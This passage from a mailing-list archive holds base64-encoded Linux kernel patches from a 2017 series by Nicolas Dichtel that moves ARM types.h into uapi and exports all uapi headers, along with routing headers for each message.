cXVpZXRfY21kX2luc3RhbGwgPSBJTlNUQUxMICQocHJpbnRkaXIpICgkKHdvcmRzICQoYWxsLWZp
bGVzKSlcCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmlsZSQoaWYgJCh3b3JkIDIsICQo
YWxsLWZpbGVzKSkscykpCiAgICAgICBjbWRfaW5zdGFsbCA9IFwKLSAgICAgICAgJChDT05GSUdf
U0hFTEwpICQ8ICQoaW5zdGFsbGRpcikgJChzcmNkaXIpICQoaW5wdXQtZmlsZXMxLW5hbWUpOyBc
Ci0gICAgICAgICQoQ09ORklHX1NIRUxMKSAkPCAkKGluc3RhbGxkaXIpICQob2xkc3JjZGlyKSAk
KGlucHV0LWZpbGVzMi1uYW1lKTsgXAotICAgICAgICAkKENPTkZJR19TSEVMTCkgJDwgJChpbnN0
YWxsZGlyKSAkKGdlbmRpcikgJChpbnB1dC1maWxlczMtbmFtZSk7IFwKKyAgICAgICAgJChDT05G
SUdfU0hFTEwpICQ8ICQoaW5zdGFsbGRpcikgJChzcmNkaXIpICQoaGVhZGVyLXkpOyBcCisgICAg
ICAgICQoQ09ORklHX1NIRUxMKSAkPCAkKGluc3RhbGxkaXIpICQoZ2VuZGlyKSAkKGdlbmhkci15
KTsgXAogICAgICAgICBmb3IgRiBpbiAkKHdyYXBwZXItZmlsZXMpOyBkbyAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgXAogICAgICAgICAgICAgICAgIGVjaG8gIlwjaW5jbHVkZSA8
YXNtLWdlbmVyaWMvJCRGPiIgPiAkKGluc3RhbGxkaXIpLyQkRjsgICAgXAogICAgICAgICBkb25l
OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgXAotLSAKMi44LjEKCgpfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fXwpYZW4tZGV2ZWwgbWFpbGluZyBsaXN0Clhlbi1kZXZlbEBsaXN0cy54ZW4ub3JnCmh0
dHBzOi8vbGlzdHMueGVuLm9yZy94ZW4tZGV2ZWwK


From - Thu Nov 08 21:39:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Newsgroups: gmane.comp.emulators.xen.devel,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kbuild.devel,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH v2 1/7] arm: put types.h in uapi
Date: Fri,  6 Jan 2017 10:43:53 +0100
Lines: 69
Approved: news@gmane.org
Message-ID: <1483695839-18660-2-git-send-email-nicolas.dichtel@6wind.com>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com>
 <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1483695917 661 195.159.176.226 (6 Jan 2017 09:45:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 6 Jan 2017 09:45:17 +0000 (UTC)
Cc: linux-mips@linux-mips.org, alsa-devel@alsa-project.org,
 linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org, airlied@linux.ie,
 linux-fbdev@vger.kernel.org, dri-devel@lists.freedesktop.org,
 linux-mtd@lists.infradead.org, sparclinux@vger.kernel.org,
 linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
 linux-am33-list@redhat.com, linux-c6x-dev@linux-c6x.org,
 linux-rdma@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-sh@vger.kernel.org, coreteam@netfilter.org, fcoe-devel@open-fcoe.org,
 xen-devel@lists.xenproject.org, linux-snps-arc@lists.infradead.org,
 linux-media@vger.kernel.org, uclinux-h8-devel@lists.sourceforge.jp,
 linux-xtensa@linux-xtensa.org, linux-kbuild@vger.kernel.org,
 adi-buildroot-devel@lists.sourceforge.net, linux-raid@vger.kernel.org,
 linux-m68k@lists.linux-m68k.org, openrisc@lists.librecores.org,
 Nicolas Dichtel <nicolas.dichtel@6wind.com>, linux-me
To: arnd@arndb.de
Original-X-From: xen-devel-bounces@lists.xen.org Fri Jan 06 10:45:06 2017
Return-path: <xen-devel-bounces@lists.xen.org>
Envelope-to: gcvxd-xen-devel@m.gmane.org
Original-Received: from lists.xenproject.org ([192.237.175.120])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <xen-devel-bounces@lists.xen.org>)
	id 1cPR57-0007TV-5b
	for gcvxd-xen-devel@m.gmane.org; Fri, 06 Jan 2017 10:45:05 +0100
Original-Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.84_2)
	(envelope-from <xen-devel-bounces@lists.xen.org>)
	id 1cPR4M-0000O2-JP; Fri, 06 Jan 2017 09:44:18 +0000
Original-Received: from mail6.bemta6.messagelabs.com ([193.109.254.103])
 by lists.xenproject.org with esmtp (Exim 4.84_2)
 (envelope-from <root@6wind.com>) id 1cPR4L-0000NF-Cm
 for xen-devel@lists.xenproject.org; Fri, 06 Jan 2017 09:44:17 +0000
Original-Received: from [85.158.143.35] by server-7.bemta-6.messagelabs.com id
 AA/DC-29440-0F66F685; Fri, 06 Jan 2017 09:44:16 +0000
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFnrELMWRWlGSWpSXmKPExsViJz7RR/d9Wn6
 EwcvVxhbft0xmcmD0OPzhCksAYxRrZl5SfkUCa8bLO/cYCzpkK15tWc3YwPhRrIuRi0NIYDaj
 xOMdL5ggnOWMEi9/7QRyODnYBAwlNpx/xNbFyMEhIiAo0fpPE6SGWeAgl8SxDauYQWqEBQwk5
 v+5wQxSwyKgKrF4pgxImFfAU2JaWwsbiC0hICdxefoDMJtTwEvi6Ol5YK1CAtUSjduaWSYwci
 9gZFjFqFGcWlSWWqRrZKmXVJSZnlGSm5iZo2toYKaXm1pcnJiempOYVKyXnJ+7iRHoXwYg2MF
 4YFHgIUZJDiYlUd4wx/wIIb6k/JTKjMTijPii0pzU4kOMMhwcShK801KBcoJFqempFWmZOcBA
 g0lLcPAoifBOBEnzFhck5hZnpkOkTjHqcqzZvOMpkxBLXn5eqpQ47yaQIgGQoozSPLgRsKC/x
 CgrJczLCHSUEE9BalFuZgmq/CtGcQ5GJWHeqSBTeDLzSuA2vQI6ggnoCEFPsCNKEhFSUg2MNh
 P5Xv8NkdiZwHJ1Wuj5g5NVNXZ58+4W7gpfpq+wPVDq1OfbG+5U/k3bq3pQ4x2/9PuNimJb0tj
 37j6Xwy/x68aTLUsWe3aF8LgY6od9OCmx2ePSlCcLNt3j7nRo8lPe867NKtjtfe+nnE1HvT5v
 3Rk0q0E54yt3qNi7KYKnFoiz7l/DsPk4qxJLcUaioRZzUXEiAN3MgPd1AgAA
X-Env-Sender: root@6wind.com
X-Msg-Ref: server-7.tower-21.messagelabs.com!1483695855!51438180!1
X-Originating-IP: [62.23.145.76]
X-SpamReason: No, hits=0.0 required=7.0 tests=
X-StarScan-Received: 
X-StarScan-Version: 9.1.1; banners=-,-,-
X-VirusChecked: Checked
Original-Received: (qmail 52724 invoked from network); 6 Jan 2017 09:44:15 -0000
Original-Received: from host.76.145.23.62.rev.coltfrance.com (HELO proxy.6wind.com)
 (62.23.145.76)
 by server-7.tower-21.messagelabs.com with SMTP; 6 Jan 2017 09:44:15 -0000
Original-Received: from elsass.dev.6wind.com (unknown [10.16.0.149])
 by proxy.6wind.com (Postfix) with ESMTPS id 2F523254E8;
 Fri,  6 Jan 2017 10:44:07 +0100 (CET)
Original-Received: from root by elsass.dev.6wind.com with local (Exim 4.84_2)
 (envelope-from <root@elsass.dev.6wind.com>)
 id 1cPR49-0004sS-3U; Fri, 06 Jan 2017 10:44:05 +0100
X-Mailer: git-send-email 2.8.1
In-Reply-To: <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
X-BeenThere: xen-devel@lists.xen.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: Xen developer discussion <xen-devel.lists.xen.org>
List-Unsubscribe: <https://lists.xen.org/cgi-bin/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xen.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xen.org>
List-Help: <mailto:xen-devel-request@lists.xen.org?subject=help>
List-Subscribe: <https://lists.xen.org/cgi-bin/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xen.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xen.org
Original-Sender: "Xen-devel" <xen-devel-bounces@lists.xen.org>
Xref: news.gmane.org gmane.comp.emulators.xen.devel:314850 gmane.linux.ports.mips.general:57378 gmane.linux.alsa.devel:162877 gmane.linux.ports.ia64:27525 gmane.linux.documentation:44044 gmane.comp.video.dri.devel:175523 gmane.linux.drivers.mtd:71098 gmane.linux.ports.sparc:24269 gmane.linux.kernel.cross-arch:34665 gmane.linux.drivers.rdma:45165 gmane.linux.ports.hexagon:1074 gmane.linux.ports.sh.devel:54910 gmane.linux.scsi.open-fcoe.devel:12987 gmane.linux.kernel.arc:1968 gmane.linux.drivers.video-input-infrastructure:111663 gmane.linux.kbuild.devel:16253 gmane.linux.raid:55280 gmane.linux.kernel.metag:1201 gmane.linux.ports.arm.kernel:548347 gmane.linux.nfs:81286 gmane.linux.ports.parisc:27149 gmane.linux.network:448449 gmane.linux.kernel.mmc:41937 gmane.linux.kernel:2381509 gmane.linux.kernel.spi.devel:26046 gmane.comp.security.firewalls.netfilter.devel:66782 gmane.linux.ports.alpha:3998 gmane.linux.ports.ppc64.devel:137023
Archived-At: <http://permalink.gmane.org/gmane.comp.emulators.xen.devel/314850>

VGhpcyBoZWFkZXIgZmlsZSBpcyBleHBvcnRlZCwgdGh1cyBtb3ZlIGl0IHRvIHVhcGkuCgpTaWdu
ZWQtb2ZmLWJ5OiBOaWNvbGFzIERpY2h0ZWwgPG5pY29sYXMuZGljaHRlbEA2d2luZC5jb20+Ci0t
LQogYXJjaC9hcm0vaW5jbHVkZS9hc20vdHlwZXMuaCAgICAgIHwgMzYgKy0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0KIGFyY2gvYXJtL2luY2x1ZGUvdWFwaS9hc20vdHlwZXMuaCB8
IDQwICsrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKwogMiBmaWxlcyBjaGFu
Z2VkLCA0MSBpbnNlcnRpb25zKCspLCAzNSBkZWxldGlvbnMoLSkKIGNyZWF0ZSBtb2RlIDEwMDY0
NCBhcmNoL2FybS9pbmNsdWRlL3VhcGkvYXNtL3R5cGVzLmgKCmRpZmYgLS1naXQgYS9hcmNoL2Fy
bS9pbmNsdWRlL2FzbS90eXBlcy5oIGIvYXJjaC9hcm0vaW5jbHVkZS9hc20vdHlwZXMuaAppbmRl
eCBhNTNjZGI4ZjA2OGMuLmM0OGZlZTNkN2IzYiAxMDA2NDQKLS0tIGEvYXJjaC9hcm0vaW5jbHVk
ZS9hc20vdHlwZXMuaAorKysgYi9hcmNoL2FybS9pbmNsdWRlL2FzbS90eXBlcy5oCkBAIC0xLDQw
ICsxLDYgQEAKICNpZm5kZWYgX0FTTV9UWVBFU19ICiAjZGVmaW5lIF9BU01fVFlQRVNfSAogCi0j
aW5jbHVkZSA8YXNtLWdlbmVyaWMvaW50LWxsNjQuaD4KLQotLyoKLSAqIFRoZSBDOTkgdHlwZXMg
dWludFhYX3QgdGhhdCBhcmUgdXN1YWxseSBkZWZpbmVkIGluICdzdGRpbnQuaCcgYXJlIG5vdCBh
cwotICogdW5hbWJpZ3VvdXMgb24gQVJNIGFzIHlvdSB3b3VsZCBleHBlY3QuIEZvciB0aGUgdHlw
ZXMgYmVsb3csIHRoZXJlIGlzIGEKLSAqIGRpZmZlcmVuY2Ugb24gQVJNIGJldHdlZW4gR0NDIGJ1
aWx0IGZvciBiYXJlIG1ldGFsIEFSTSwgR0NDIGJ1aWx0IGZvciBnbGliYwotICogYW5kIHRoZSBr
ZXJuZWwgaXRzZWxmLCB3aGljaCByZXN1bHRzIGluIGJ1aWxkIGVycm9ycyBpZiB5b3UgdHJ5IHRv
IGJ1aWxkIHdpdGgKLSAqIC1mZnJlZXN0YW5kaW5nIGFuZCBpbmNsdWRlICdzdGRpbnQuaCcgKHN1
Y2ggYXMgd2hlbiB5b3UgaW5jbHVkZSAnYXJtX25lb24uaCcKLSAqIGluIG9yZGVyIHRvIHVzZSBO
RU9OIGludHJpbnNpY3MpCi0gKgotICogQXMgdGhlIHR5cGVkZWZzIGZvciB0aGVzZSB0eXBlcyBp
biAnc3RkaW50LmgnIGFyZSBiYXNlZCBvbiBidWlsdGluIGRlZmluZXMKLSAqIHN1cHBsaWVkIGJ5
IEdDQywgd2UgY2FuIHR3ZWFrIHRoZXNlIHRvIGFsaWduIHdpdGggdGhlIGtlcm5lbCdzIGlkZWEg
b2YgdGhvc2UKLSAqIHR5cGVzLCBzbyAnbGludXgvdHlwZXMuaCcgYW5kICdzdGRpbnQuaCcgY2Fu
IGJlIHNhZmVseSBpbmNsdWRlZCBmcm9tIHRoZSBzYW1lCi0gKiBzb3VyY2UgZmlsZSAocHJvdmlk
ZWQgdGhhdCAtZmZyZWVzdGFuZGluZyBpcyB1c2VkKS4KLSAqCi0gKiAgICAgICAgICAgICAgICAg
ICAgaW50MzJfdCAgICAgICAgIHVpbnQzMl90ICAgICAgICAgICAgICAgdWludHB0cl90Ci0gKiBi
YXJlIG1ldGFsIEdDQyAgICAgbG9uZyAgICAgICAgICAgIHVuc2lnbmVkIGxvbmcgICAgICAgICAg
dW5zaWduZWQgaW50Ci0gKiBnbGliYyBHQ0MgICAgICAgICAgaW50ICAgICAgICAgICAgIHVuc2ln
bmVkIGludCAgICAgICAgICAgdW5zaWduZWQgaW50Ci0gKiBrZXJuZWwgICAgICAgICAgICAgaW50
ICAgICAgICAgICAgIHVuc2lnbmVkIGludCAgICAgICAgICAgdW5zaWduZWQgbG9uZwotICovCi0K
LSNpZmRlZiBfX0lOVDMyX1RZUEVfXwotI3VuZGVmIF9fSU5UMzJfVFlQRV9fCi0jZGVmaW5lIF9f
SU5UMzJfVFlQRV9fCQlpbnQKLSNlbmRpZgotCi0jaWZkZWYgX19VSU5UMzJfVFlQRV9fCi0jdW5k
ZWYgX19VSU5UMzJfVFlQRV9fCi0jZGVmaW5lIF9fVUlOVDMyX1RZUEVfXwl1bnNpZ25lZCBpbnQK
LSNlbmRpZgotCi0jaWZkZWYgX19VSU5UUFRSX1RZUEVfXwotI3VuZGVmIF9fVUlOVFBUUl9UWVBF
X18KLSNkZWZpbmUgX19VSU5UUFRSX1RZUEVfXwl1bnNpZ25lZCBsb25nCi0jZW5kaWYKKyNpbmNs
dWRlIDx1YXBpL2FzbS90eXBlcy5oPgogCiAjZW5kaWYgLyogX0FTTV9UWVBFU19IICovCmRpZmYg
LS1naXQgYS9hcmNoL2FybS9pbmNsdWRlL3VhcGkvYXNtL3R5cGVzLmggYi9hcmNoL2FybS9pbmNs
dWRlL3VhcGkvYXNtL3R5cGVzLmgKbmV3IGZpbGUgbW9kZSAxMDA2NDQKaW5kZXggMDAwMDAwMDAw
MDAwLi45NDM1YTQyZjU3NWUKLS0tIC9kZXYvbnVsbAorKysgYi9hcmNoL2FybS9pbmNsdWRlL3Vh
cGkvYXNtL3R5cGVzLmgKQEAgLTAsMCArMSw0MCBAQAorI2lmbmRlZiBfVUFQSV9BU01fVFlQRVNf
SAorI2RlZmluZSBfVUFQSV9BU01fVFlQRVNfSAorCisjaW5jbHVkZSA8YXNtLWdlbmVyaWMvaW50
LWxsNjQuaD4KKworLyoKKyAqIFRoZSBDOTkgdHlwZXMgdWludFhYX3QgdGhhdCBhcmUgdXN1YWxs
eSBkZWZpbmVkIGluICdzdGRpbnQuaCcgYXJlIG5vdCBhcworICogdW5hbWJpZ3VvdXMgb24gQVJN
IGFzIHlvdSB3b3VsZCBleHBlY3QuIEZvciB0aGUgdHlwZXMgYmVsb3csIHRoZXJlIGlzIGEKKyAq
IGRpZmZlcmVuY2Ugb24gQVJNIGJldHdlZW4gR0NDIGJ1aWx0IGZvciBiYXJlIG1ldGFsIEFSTSwg
R0NDIGJ1aWx0IGZvciBnbGliYworICogYW5kIHRoZSBrZXJuZWwgaXRzZWxmLCB3aGljaCByZXN1
bHRzIGluIGJ1aWxkIGVycm9ycyBpZiB5b3UgdHJ5IHRvIGJ1aWxkIHdpdGgKKyAqIC1mZnJlZXN0
YW5kaW5nIGFuZCBpbmNsdWRlICdzdGRpbnQuaCcgKHN1Y2ggYXMgd2hlbiB5b3UgaW5jbHVkZSAn
YXJtX25lb24uaCcKKyAqIGluIG9yZGVyIHRvIHVzZSBORU9OIGludHJpbnNpY3MpCisgKgorICog
QXMgdGhlIHR5cGVkZWZzIGZvciB0aGVzZSB0eXBlcyBpbiAnc3RkaW50LmgnIGFyZSBiYXNlZCBv
biBidWlsdGluIGRlZmluZXMKKyAqIHN1cHBsaWVkIGJ5IEdDQywgd2UgY2FuIHR3ZWFrIHRoZXNl
IHRvIGFsaWduIHdpdGggdGhlIGtlcm5lbCdzIGlkZWEgb2YgdGhvc2UKKyAqIHR5cGVzLCBzbyAn
bGludXgvdHlwZXMuaCcgYW5kICdzdGRpbnQuaCcgY2FuIGJlIHNhZmVseSBpbmNsdWRlZCBmcm9t
IHRoZSBzYW1lCisgKiBzb3VyY2UgZmlsZSAocHJvdmlkZWQgdGhhdCAtZmZyZWVzdGFuZGluZyBp
cyB1c2VkKS4KKyAqCisgKiAgICAgICAgICAgICAgICAgICAgaW50MzJfdCAgICAgICAgIHVpbnQz
Ml90ICAgICAgICAgICAgICAgdWludHB0cl90CisgKiBiYXJlIG1ldGFsIEdDQyAgICAgbG9uZyAg
ICAgICAgICAgIHVuc2lnbmVkIGxvbmcgICAgICAgICAgdW5zaWduZWQgaW50CisgKiBnbGliYyBH
Q0MgICAgICAgICAgaW50ICAgICAgICAgICAgIHVuc2lnbmVkIGludCAgICAgICAgICAgdW5zaWdu
ZWQgaW50CisgKiBrZXJuZWwgICAgICAgICAgICAgaW50ICAgICAgICAgICAgIHVuc2lnbmVkIGlu
dCAgICAgICAgICAgdW5zaWduZWQgbG9uZworICovCisKKyNpZmRlZiBfX0lOVDMyX1RZUEVfXwor
I3VuZGVmIF9fSU5UMzJfVFlQRV9fCisjZGVmaW5lIF9fSU5UMzJfVFlQRV9fCQlpbnQKKyNlbmRp
ZgorCisjaWZkZWYgX19VSU5UMzJfVFlQRV9fCisjdW5kZWYgX19VSU5UMzJfVFlQRV9fCisjZGVm
aW5lIF9fVUlOVDMyX1RZUEVfXwl1bnNpZ25lZCBpbnQKKyNlbmRpZgorCisjaWZkZWYgX19VSU5U
UFRSX1RZUEVfXworI3VuZGVmIF9fVUlOVFBUUl9UWVBFX18KKyNkZWZpbmUgX19VSU5UUFRSX1RZ
UEVfXwl1bnNpZ25lZCBsb25nCisjZW5kaWYKKworI2VuZGlmIC8qIF9VQVBJX0FTTV9UWVBFU19I
ICovCi0tIAoyLjguMQoKCl9fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fClhlbi1kZXZlbCBtYWlsaW5nIGxpc3QKWGVuLWRldmVsQGxpc3RzLnhlbi5vcmcKaHR0
cHM6Ly9saXN0cy54ZW4ub3JnL3hlbi1kZXZlbAo=


From - Thu Nov 08 21:39:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Newsgroups: gmane.comp.emulators.xen.devel,gmane.linux.ports.mips.general,gmane.linux.alsa.devel,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.comp.video.dri.devel,gmane.linux.drivers.mtd,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.scsi.open-fcoe.devel,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.kbuild.devel,gmane.linux.raid,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.nfs,gmane.linux.ports.parisc,gmane.linux.network,gmane.linux.kernel.mmc,gmane.linux.kernel,gmane.linux.kernel.spi.devel,gmane.comp.security.firewalls.netfilter.devel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH v2 7/7] uapi: export all headers under uapi
	directories
Date: Fri,  6 Jan 2017 10:43:59 +0100
Lines: 1301
Approved: news@gmane.org
Message-ID: <1483695839-18660-8-git-send-email-nicolas.dichtel@6wind.com>
References: <bf83da6b-01ef-bf44-b3e1-ca6fc5636818@6wind.com>
 <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1483695935 6691 195.159.176.226 (6 Jan 2017 09:45:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 6 Jan 2017 09:45:35 +0000 (UTC)
Cc: linux-mips@linux-mips.org, alsa-devel@alsa-project.org,
 linux-ia64@vger.kernel.org, linux-doc@vger.kernel.org, airlied@linux.ie,
 linux-fbdev@vger.kernel.org, dri-devel@lists.freedesktop.org,
 linux-mtd@lists.infradead.org, sparclinux@vger.kernel.org,
 linux-arch@vger.kernel.org, linux-s390@vger.kernel.org,
 linux-am33-list@redhat.com, linux-c6x-dev@linux-c6x.org,
 linux-rdma@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-sh@vger.kernel.org, coreteam@netfilter.org, fcoe-devel@open-fcoe.org,
 xen-devel@lists.xenproject.org, linux-snps-arc@lists.infradead.org,
 linux-media@vger.kernel.org, uclinux-h8-devel@lists.sourceforge.jp,
 linux-xtensa@linux-xtensa.org, linux-kbuild@vger.kernel.org,
 adi-buildroot-devel@lists.sourceforge.net, linux-raid@vger.kernel.org,
 linux-m68k@lists.linux-m68k.org, openrisc@lists.librecores.org,
 Nicolas Dichtel <nicolas.dichtel@6wind.com>, linux-me
To: arnd@arndb.de
Original-X-From: xen-devel-bounces@lists.xen.org Fri Jan 06 10:45:24 2017
Return-path: <xen-devel-bounces@lists.xen.org>
Envelope-to: gcvxd-xen-devel@m.gmane.org
Original-Received: from lists.xenproject.org ([192.237.175.120])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <xen-devel-bounces@lists.xen.org>)
	id 1cPR5H-0008S0-2r
	for gcvxd-xen-devel@m.gmane.org; Fri, 06 Jan 2017 10:45:15 +0100
Original-Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.84_2)
	(envelope-from <xen-devel-bounces@lists.xen.org>)
	id 1cPR4a-0000Xr-6T; Fri, 06 Jan 2017 09:44:32 +0000
Original-Received: from mail6.bemta6.messagelabs.com ([193.109.254.103])
 by lists.xenproject.org with esmtp (Exim 4.84_2)
 (envelope-from <root@6wind.com>) id 1cPR4Y-0000Wm-UF
 for xen-devel@lists.xenproject.org; Fri, 06 Jan 2017 09:44:31 +0000
Original-Received: from [85.158.143.35] by server-7.bemta-6.messagelabs.com id
 A0/6D-29440-EF66F685; Fri, 06 Jan 2017 09:44:30 +0000
X-Brightmail-Tracker: H4sIAAAAAAAAA+NgFnrFLMWRWlGSWpSXmKPExsViJz7RR/dPWn6
 EwfM9chbft0xmcmD0OPzhCksAYxRrZl5SfkUCa8a7q3MZC/YeZKm4d2cKcwPj1c/MXYxcHEIC
 sxklGqe1sXYxcgI5yxkl/vd4gNhsAoYSG84/Yuti5OAQERCUaP2nCVLPLHCQS+LYhlXMIDXCA
 u4Sy7q+sYHYLAKqEot7DjCB2LwCnhKTLz9jB7ElBOQkLk9/AFbDKeAlcfT0PGaIXdUSjduaWS
 Ywci9gZFjFqFGcWlSWWqRraKaXVJSZnlGSm5iZo2toYKaXm1pcnJiempOYVKyXnJ+7iRHoYwY
 g2MF4f2PAIUZJDiYlUd4wx/wIIb6k/JTKjMTijPii0pzU4kOMMhwcShK801KBcoJFqempFWmZ
 OcBgg0lLcPAoifBKgaR5iwsSc4sz0yFSpxiNOaY9W/yUiWPN5h1PmYRY8vLzUqXEeTeBlAqAl
 GaU5sENgkXBJUZZKWFeRqDThHgKUotyM0tQ5V8xinMwKgnzxoBM4cnMK4Hb9wroFCagUwQ9wU
 4pSURISTUwygqr6WSl1W2WYW169HfSxVvNT1d3Z4qanH9g5uSes3PaK2btwxymDc9yd1xfNjv
 //JfaL1deblPI7GWTtF7xUWbPGa2FUsKbNiXqnQvZu3k2k9XSR09/FCbqL9EuPHo5dpZP6pnH
 EgXMLwV36DQKf7jw0eaiVyPn06XlE1MOsx69Natvy2V1ESWW4oxEQy3mouJEAEDCMip9AgAA
X-Env-Sender: root@6wind.com
X-Msg-Ref: server-3.tower-21.messagelabs.com!1483695868!50810689!1
X-Originating-IP: [62.23.145.76]
X-SpamReason: No, hits=0.0 required=7.0 tests=
X-StarScan-Received: 
X-StarScan-Version: 9.1.1; banners=-,-,-
X-VirusChecked: Checked
Original-Received: (qmail 50953 invoked from network); 6 Jan 2017 09:44:28 -0000
Original-Received: from host.76.145.23.62.rev.coltfrance.com (HELO proxy.6wind.com)
 (62.23.145.76)
 by server-3.tower-21.messagelabs.com with SMTP; 6 Jan 2017 09:44:28 -0000
Original-Received: from elsass.dev.6wind.com (unknown [10.16.0.149])
 by proxy.6wind.com (Postfix) with ESMTPS id 21CC4254F1;
 Fri,  6 Jan 2017 10:44:10 +0100 (CET)
Original-Received: from root by elsass.dev.6wind.com with local (Exim 4.84_2)
 (envelope-from <root@elsass.dev.6wind.com>)
 id 1cPR49-0004sv-8w; Fri, 06 Jan 2017 10:44:05 +0100
X-Mailer: git-send-email 2.8.1
In-Reply-To: <1483695839-18660-1-git-send-email-nicolas.dichtel@6wind.com>
X-BeenThere: xen-devel@lists.xen.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: Xen developer discussion <xen-devel.lists.xen.org>
List-Unsubscribe: <https://lists.xen.org/cgi-bin/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xen.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xen.org>
List-Help: <mailto:xen-devel-request@lists.xen.org?subject=help>
List-Subscribe: <https://lists.xen.org/cgi-bin/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xen.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xen.org
Original-Sender: "Xen-devel" <xen-devel-bounces@lists.xen.org>
Xref: news.gmane.org gmane.comp.emulators.xen.devel:314854 gmane.linux.ports.mips.general:57379 gmane.linux.alsa.devel:162878 gmane.linux.ports.ia64:27526 gmane.linux.documentation:44045 gmane.comp.video.dri.devel:175524 gmane.linux.drivers.mtd:71099 gmane.linux.ports.sparc:24270 gmane.linux.kernel.cross-arch:34666 gmane.linux.drivers.rdma:45166 gmane.linux.ports.hexagon:1075 gmane.linux.ports.sh.devel:54911 gmane.linux.scsi.open-fcoe.devel:12988 gmane.linux.kernel.arc:1969 gmane.linux.drivers.video-input-infrastructure:111664 gmane.linux.kbuild.devel:16254 gmane.linux.raid:55281 gmane.linux.kernel.metag:1202 gmane.linux.ports.arm.kernel:548348 gmane.linux.nfs:81287 gmane.linux.ports.parisc:27150 gmane.linux.network:448450 gmane.linux.kernel.mmc:41938 gmane.linux.kernel:2381510 gmane.linux.kernel.spi.devel:26047 gmane.comp.security.firewalls.netfilter.devel:66783 gmane.linux.ports.alpha:3999 gmane.linux.ports.ppc64.devel:137024
Archived-At: <http://permalink.gmane.org/gmane.comp.emulators.xen.devel/314854>

UmVndWxhcmx5LCB3aGVuIGEgbmV3IGhlYWRlciBpcyBjcmVhdGVkIGluIGluY2x1ZGUvdWFwaS8s
IHRoZSBkZXZlbG9wZXIKZm9yZ2V0cyB0byBhZGQgaXQgaW4gdGhlIGNvcnJlc3BvbmRpbmcgS2J1
aWxkIGZpbGUuIFRoaXMgZXJyb3IgaXMgdXN1YWxseQpkZXRlY3RlZCBhZnRlciB0aGUgcmVsZWFz
ZSBpcyBvdXQuCgpJbiBmYWN0LCBhbGwgaGVhZGVycyB1bmRlciB1YXBpIGRpcmVjdG9yaWVzIHNo
b3VsZCBiZSBleHBvcnRlZCwgdGh1cyBpdCdzCnVzZWxlc3MgdG8gaGF2ZSBhbiBleGhhdXN0aXZl
IGxpc3QuCgpBZnRlciB0aGlzIHBhdGNoLCB0aGUgZm9sbG93aW5nIGZpbGVzLCB3aGljaCB3ZXJl
